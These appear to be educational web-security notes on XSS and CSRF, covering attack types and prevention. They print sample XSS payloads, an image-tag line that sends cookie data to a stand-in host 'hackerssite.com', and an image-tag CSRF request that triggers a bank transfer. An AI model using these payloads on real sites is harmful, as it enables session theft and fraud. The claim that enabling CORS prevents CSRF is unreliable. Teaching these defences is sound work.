Cross-site Scripting (XSS)⌗

A site includes injected JavaScript executed by a users browser. Often delivered by input fields and malformed HTML

A common example is when a text input is not escaping its input and therefore the browser excutes the JavaScript inserted when the content is displayed on the page:

<SCRIPT>alert("XSS")</SCRIPT>
<IMG SRC="javascript:alert('XSS');">

Proof of exploits usually show an alert box popping up, but what is a hacker really looking to do?

An attacker could force a redirect, change the action of a form to post to an external server, scrape anything from the page and send to an external server: <img src=`hackerssite.com/?${cookieData}` />… there is a host of things they could be looking to do.

Types⌗

XSS can be categorised into three different types:

  • Reflective XSS: These attacks are not persisted, meaning the XSS is delivered and executed via a single request and response (e.g. a search result page where
  • Stored XSS: These attacks are persisted or saved and then executed when a page is loaded to unsuspecting users (e.g. a user’s bio)
  • Self XSS: These attacks are also not persisted and are usually used as part of tricking a user into running the XSS themselves

Prevention⌗

  • All input needs to be escaped. <script> to &lt;script&gt;. Do not just think about keyboard input. This reflected XSS attack using an image tag was created by changing the post request by using a proxy before it is sent to the server.
  • Serialise state for the client-side that is delivered by the server
  • Disable the HTTP TRACE method
  • If you do have to accept HTML or some kind of tag formatting take enormous care on its parsing. Some attacks supply malformed HTML that then gets parsed into correct HTML with an exploit in place.

Due to XSS attacks, it is not a good practice to store authentication credentials in a location that can be accessed by client-side JavaScript in case of an exploit. This includes local storage and JavaScript memory.

Have the server create a cookie with the http-only flag enabled to store credentials https://breakdev.org/sniping-insecure-cookies-with-xss/.

Resource: [OWASP XSS](https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)

Cross-site Request Forgery (CSRF)⌗

In the XSS section, it was explained that keeping authentication tokens in a cookie prevents them from being taken by an attack. This does however open to a different attack CSRF.

User is still logged into a Site A. Malicious Site B visited makes a request to logged in Site A using cookie session data as still logged in

‘Site B’ does not have to be a malicious site; just a site with an opening for a CSRF attack: an email, message board users bio, instant message…

It may not even require the user to visit ‘Site A’. If a users message board bio contained this <img src="mybank.com/?transfer=4000&fromAccount=1111&toAccount=9999" /> this, terrible, GET request could potentially invoke a CSRF attack when loaded.

Preventation⌗

Prevention involves enabling Cross-Origin Resource Sharing (CORS), the server checking the referrer header, and use of a CSRF token that is manually added and submitted by the client to requests to prove the request was purposely triggered by the user.

The OWASP website has an excellent, concise resource on protecting against these attacks https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet.

Another basic protection is to ensure no GET requests can manipulate server data.

An advanced CSRF exploit may involve an XSS attack that retrieves the CSRF token and then uses it for a CSRF attack. Difficult to pull off but not impossible.

This attack found a JavaScript file not covered by the CORS policy that contained the CSRF token.